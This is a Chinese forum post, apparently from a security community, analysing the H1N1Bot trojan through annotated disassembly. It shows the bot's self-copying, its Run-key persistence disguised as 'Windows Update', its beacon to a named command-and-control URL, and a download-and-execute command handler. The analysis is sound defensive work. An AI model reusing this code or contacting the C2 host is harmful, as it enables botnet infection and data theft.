好友
阅读权限 40
听众
最后登录 1970-1-1
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子! 病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途! 禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 是昔流芳 于 2011-2-11 12:09 编辑
IDA,">病毒时间戳:2010-09-18
名字是卡巴斯基报的 谢谢 是昔流芳 提供样本http://www.52pojie.cn/thread-63757-1-1.html
在本地开个后门,接收远端指令,可以下载指定的url文件并执行,还可以清理病毒。
指令包括"nwd!","olc!"和"mer!",各部分说明:
1,创建名为"H1N1Bot"的Mutex对象,防止重复感染
代码:
00401481 /[ DISCUZ_CODE_7 ]nbsp
00401482 |. 8BEC mov ebp , esp
00401484 |. 83C4 FC add esp , -4
00401487 |. 68 BB304000 push 004030BB
0040148C |. 6A 00 push 0
0040148E |. 6A 00 push 0
00401490 |. E8 59000000 call <jmp .&kernel32. CreateMutexA>
00401495 |. 8945 FC mov dword ptr [ebp -4 ], eax
00401498 |. E8 63000000 call <jmp .&kernel32. GetLastError>
0040149D |. 3D B7000000 cmp eax , 0B7
004014A2 |. 74 02 je short 004014A6
004014A4 |. C9 leave
004014A5 |. C3 retn
004014A6 |> FF75 FC push dword ptr [ebp -4 ]
004014A9 |. E8 34000000 call <jmp .&kernel32. CloseHandle>
004014AE |. 6A 00 push 0
004014B0 \. E8 3F000000 call <jmp .&kernel32. ExitProcess>
2,获取当前系统CSIDL_APPDATA路径,如:C:\Documents and Settings\Administrator\Local Settings\Applicaton Data.并在后追加文件名"\winvv.exe",然后与当前进程镜象路径对比,如果当前进程不是winvv.exe,则复制当前文件到"CSIDL_APPDATA\winvv.exe",然后运行winvv.exe,并退出本进程
代码:
00401092 /[ DISCUZ_CODE_8 ]nbsp
00401093 |. 8BEC mov ebp , esp
00401095 |. 81C4 FCFDFFFF add esp , -204
0040109B |. 68 00010000 push 100
004010A0 |. 8D85 00FFFFFF lea eax , dword ptr [ebp -100 ]
004010A6 |. 50 push eax
004010A7 |. E8 66040000 call <jmp .&kernel32. RtlZeroMemory>
004010AC |. 68 00010000 push 100
004010B1 |. 8D85 00FEFFFF lea eax , dword ptr [ebp -200 ]
004010B7 |. 50 push eax
004010B8 |. E8 55040000 call <jmp .&kernel32. RtlZeroMemory>
004010BD |. 68 00010000 push 100
004010C2 |. 8D85 00FFFFFF lea eax , dword ptr [ebp -100 ]
004010C8 |. 50 push eax
004010C9 |. 6A 00 push 0
004010CB |. E8 36040000 call <jmp .&kernel32. GetModuleFileName>
004010D0 |. 8D85 00FEFFFF lea eax , dword ptr [ebp -200 ]
004010D6 |. 50 push eax
004010D7 |. 6A 00 push 0
004010D9 |. 6A 00 push 0
004010DB |. 6A 1C push 1C
004010DD |. 6A 00 push 0
004010DF |. E8 7C040000 call <jmp .&shell32. SHGetFolderPathA>
004010E4 |. 68 60304000 push 00403060
004010E9 |. 8D85 00FEFFFF lea eax , dword ptr [ebp -200 ]
004010EF |. 50 push eax
004010F0 |. E8 35040000 call <jmp .&kernel32. lstrcatA>
004010F5 |. 8D85 00FEFFFF lea eax , dword ptr [ebp -200 ]
004010FB |. 50 push eax
004010FC |. 8D85 00FFFFFF lea eax , dword ptr [ebp -100 ]
00401102 |. 50 push eax
00401103 |. E8 28040000 call <jmp .&kernel32. lstrcmpA>
00401108 |. 83F8 00 cmp eax , 0
0040110B |. 74 6B je short 00401178
0040110D |. 6A 00 push 0
0040110F |. 8D85 00FEFFFF lea eax , dword ptr [ebp -200 ]
00401115 |. 50 push eax
00401116 |. 8D85 00FFFFFF lea eax , dword ptr [ebp -100 ]
0040111C |. 50 push eax
0040111D |. E8 C6030000 call <jmp .&kernel32. CopyFileA>
00401122 |. 68 00010000 push 100
00401127 |. 8D85 00FFFFFF lea eax , dword ptr [ebp -100 ]
0040112D |. 50 push eax
0040112E |. E8 DF030000 call <jmp .&kernel32. RtlZeroMemory>
00401133 |. 8D85 00FFFFFF lea eax , dword ptr [ebp -100 ]
00401139 |. 50 push eax
0040113A |. 6A 00 push 0
0040113C |. 6A 00 push 0
0040113E |. 6A 1C push 1C
00401140 |. 6A 00 push 0
00401142 |. E8 19040000 call <jmp .&shell32. SHGetFolderPathA>
00401147 |. 8D05 60304000 lea eax , dword ptr [403060 ]
0040114D |. 40 inc eax
0040114E |. 8985 FCFDFFFF mov dword ptr [ebp -204 ], eax
00401154 |. 6A 00 push 0
00401156 |. 8D85 00FFFFFF lea eax , dword ptr [ebp -100 ]
0040115C |. 50 push eax
0040115D |. 6A 00 push 0
0040115F |. FFB5 FCFDFFFF push dword ptr [ebp -204 ]
00401165 |. 68 6B304000 push 0040306B
0040116A |. 6A 00 push 0
0040116C |. E8 F5030000 call <jmp .&shell32. ShellExecuteA>
00401171 |. 6A 00 push 0
00401173 |. E8 7C030000 call <jmp .&kernel32. ExitProcess>
00401178 |> C9 leave
00401179 \. C3 retn
3,把winvv.exe添加进启动项"Software\Microsoft\Windows\CurrentVersion\Run\"中,项名为"Windows Update"
代码:
004011AE /[ DISCUZ_CODE_9 ]nbsp
004011AF |. 8BEC mov ebp , esp
004011B1 |. 81C4 F8FEFFFF add esp , -108
004011B7 |. 68 00010000 push 100
004011BC |. 8D85 F8FEFFFF lea eax , dword ptr [ebp -108 ]
004011C2 |. 50 push eax
004011C3 |. E8 4A030000 call <jmp .&kernel32. RtlZeroMemory>
004011C8 |. 68 00010000 push 100
004011CD |. 8D85 F8FEFFFF lea eax , dword ptr [ebp -108 ]
004011D3 |. 50 push eax
004011D4 |. 6A 00 push 0
004011D6 |. E8 2B030000 call <jmp .&kernel32. GetModuleFileName>
004011DB |. 8D45 FC lea eax , dword ptr [ebp -4 ]
004011DE |. 50 push eax
004011DF |. 6A 02 push 2
004011E1 |. 6A 00 push 0
004011E3 |. 68 70304000 push 00403070
004011E8 |. 68 01000080 push 80000001
004011ED |. E8 8C030000 call <jmp .&advapi32. RegOpenKeyExA>
004011F2 |. 83F8 00 cmp eax , 0
004011F5 |. 75 2D jnz short 00401224
004011F7 |. 8D85 F8FEFFFF lea eax , dword ptr [ebp -108 ]
004011FD |. 50 push eax
004011FE |. E8 39030000 call <jmp .&kernel32. lstrlenA>
00401203 |. 50 push eax
00401204 |. 8D85 F8FEFFFF lea eax , dword ptr [ebp -108 ]
0040120A |. 50 push eax
0040120B |. 6A 01 push 1
0040120D |. 6A 00 push 0
0040120F |. 68 9F304000 push 0040309F
00401214 |. FF75 FC push dword ptr [ebp -4 ]
00401217 |. E8 68030000 call <jmp .&advapi32. RegSetValueExA>
0040121C |. FF75 FC push dword ptr [ebp -4 ]
0040121F |. E8 BE020000 call <jmp .&kernel32. CloseHandle>
00401224 |> C9 leave
00401225 \. C3 retn
4,获取本机用户名及计算机名,post到远端服务器
http://mmmbsbt.co.cc/admin/bot.php?mode=2&ident=AdministratorPC-201008252144
代码:
004013D5 /[ DISCUZ_CODE_10 ]nbsp
004013D6 |. 8BEC mov ebp , esp
004013D8 |. 83C4 FC add esp , -4
004013DB |. 6A 40 push 40
004013DD |. 68 00100000 push 1000
004013E2 |. 68 00020000 push 200
004013E7 |. 6A 00 push 0
004013E9 |. E8 30010000 call <jmp .&kernel32. VirtualAlloc>
004013EE |. 8945 FC mov dword ptr [ebp -4 ], eax
004013F1 |. C700 6D6F6465 mov dword ptr [eax ], 65646F6D
004013F7 |. 83C0 04 add eax , 4
004013FA |. C700 3D322669 mov dword ptr [eax ], 6926323D
00401400 |. 83C0 04 add eax , 4
00401403 |. C700 64656E74 mov dword ptr [eax ], 746E6564
00401409 |. 83C0 04 add eax , 4
0040140C |. C600 3D mov byte ptr [eax ], 3D
0040140F |. 40 inc eax
00401410 |. 50 push eax
00401411 |. 50 push eax
00401412 |. E8 74FFFFFF call 0040138B
00401417 |. 8BC8 mov ecx , eax
00401419 |. 58 pop eax
0040141A |. 03C1 add eax , ecx
0040141C |. 50 push eax
0040141D |. 50 push eax
0040141E |. E8 8DFFFFFF call 004013B0
00401423 |. FF75 FC push dword ptr [ebp -4 ]
00401426 |. FF75 FC push dword ptr [ebp -4 ]
00401429 |. E8 D2FBFFFF call 00401000
0040142E |. 68 00800000 push 8000
00401433 |. 6A 00 push 0
00401435 |. FF75 FC push dword ptr [ebp -4 ]
00401438 |. E8 E7000000 call <jmp .&kernel32. VirtualFree>
0040143D |. C9 leave
0040143E \. C3 retn
5,再post http://mmmbsbt.co.cc/admin/bot.php?mode=2,并接收远端指令。指令包括"nwd!","olc!"和"mer!"
"nwd!"指令:
指令格式:nwd! EXE_URL_Address File_Save_Path Optional_param //三个参数
从第一个参数中下载文件保存到第二个参数的路径中,然后立即执行下载的文件
代码:
004012A1 /[ DISCUZ_CODE_11 ]nbsp
004012A2 |. 8BEC mov ebp , esp
004012A4 |. 83C4 F8 add esp , -8
004012A7 |. FF75 08 push dword ptr [ebp +8 ]
004012AA |. E8 8D020000 call <jmp .&kernel32. lstrlenA>
004012AF |. 83F8 05 cmp eax , 5
004012B2 |. 0F8E 8A000000 jle 00401342
004012B8 |. 6A 05 push 5
004012BA |. FF75 08 push dword ptr [ebp +8 ]
004012BD |. E8 A9FFFFFF call 0040126B
004012C2 |. 6A 20 push 20
004012C4 |. FF75 08 push dword ptr [ebp +8 ]
004012C7 |. E8 5AFFFFFF call 00401226
004012CC |. 0345 08 add eax , dword ptr [ebp +8 ]
004012CF |. C600 00 mov byte ptr [eax ], 0
004012D2 |. 40 inc eax
004012D3 |. 8945 FC mov dword ptr [ebp -4 ], eax
004012D6 |. 50 push eax
004012D7 |. E8 60020000 call <jmp .&kernel32. lstrlenA>
004012DC |. 83F8 00 cmp eax , 0
004012DF |. 74 61 je short 00401342
004012E1 |. 6A 20 push 20
004012E3 |. FF75 FC push dword ptr [ebp -4 ]
004012E6 |. E8 3BFFFFFF call 00401226
004012EB |. 0345 FC add eax , dword ptr [ebp -4 ]
004012EE |. C600 00 mov byte ptr [eax ], 0
004012F1 |. 40 inc eax
004012F2 |. 50 push eax
004012F3 |. 50 push eax
004012F4 |. E8 43020000 call <jmp .&kernel32. lstrlenA>
004012F9 |. 83F8 00 cmp eax , 0
004012FC |. 74 44 je short 00401342
004012FE |. 58 pop eax
004012FF |. 50 push eax
00401300 |. 68 B6304000 push 004030B6
00401305 |. 50 push eax
00401306 |. E8 25020000 call <jmp .&kernel32. lstrcmpA>
0040130B |. 83F8 00 cmp eax , 0
0040130E |. 74 32 je short 00401342
00401310 |. 58 pop eax
00401311 |. 50 push eax
00401312 |. 68 B6304000 push 004030B6
00401317 |. E8 1A020000 call <jmp .&kernel32. lstrcpyA>
0040131C |. 6A 00 push 0
0040131E |. 6A 00 push 0
00401320 |. FF75 FC push dword ptr [ebp -4 ]
00401323 |. FF75 08 push dword ptr [ebp +8 ]
00401326 |. 6A 00 push 0
00401328 |. E8 3F020000 call <jmp .&urlmon. URLDownloadToFileA>
0040132D |. 6A 01 push 1
0040132F |. 6A 00 push 0
00401331 |. 6A 00 push 0
00401333 |. FF75 FC push dword ptr [ebp -4 ]
00401336 |. 68 6B304000 push 0040306B
0040133B |. 6A 00 push 0
0040133D |. E8 24020000 call <jmp .&shell32. ShellExecuteA>
00401342 |> C9 leave
00401343 \. C2 0400 retn 4
"olc!"指令:病毒进程退出
代码:
00401346 /[ DISCUZ_CODE_12 ]nbsp
00401348 \. E8 A7010000 call <jmp .&kernel32. ExitProcess>
"mer!"指令:
删除病毒的注册表启动项"Windows Update",并退出病毒进程
代码:
0040117A /[ DISCUZ_CODE_13 ]nbsp
0040117B |. 8BEC mov ebp , esp
0040117D |. 83C4 FC add esp , -4
00401180 |. 8D45 FC lea eax , dword ptr [ebp -4 ]
00401183 |. 50 push eax
00401184 |. 6A 02 push 2
00401186 |. 6A 00 push 0
00401188 |. 68 70304000 push 00403070
0040118D |. 68 01000080 push 80000001
00401192 |. E8 E7030000 call <jmp .&advapi32. RegOpenKeyExA>
00401197 |. 68 9F304000 push 0040309F
0040119C |. FF75 FC push dword ptr [ebp -4 ]
0040119F |. E8 D4030000 call <jmp .&advapi32. RegDeleteValueA>
004011A4 |. FF75 FC push dword ptr [ebp -4 ]
004011A7 |. E8 36030000 call <jmp .&kernel32. CloseHandle>
004011AC |. C9 leave
004011AD \. C3 retn
6,每处理完一个指令则Sleep一分钟,继续接收指令,以此循环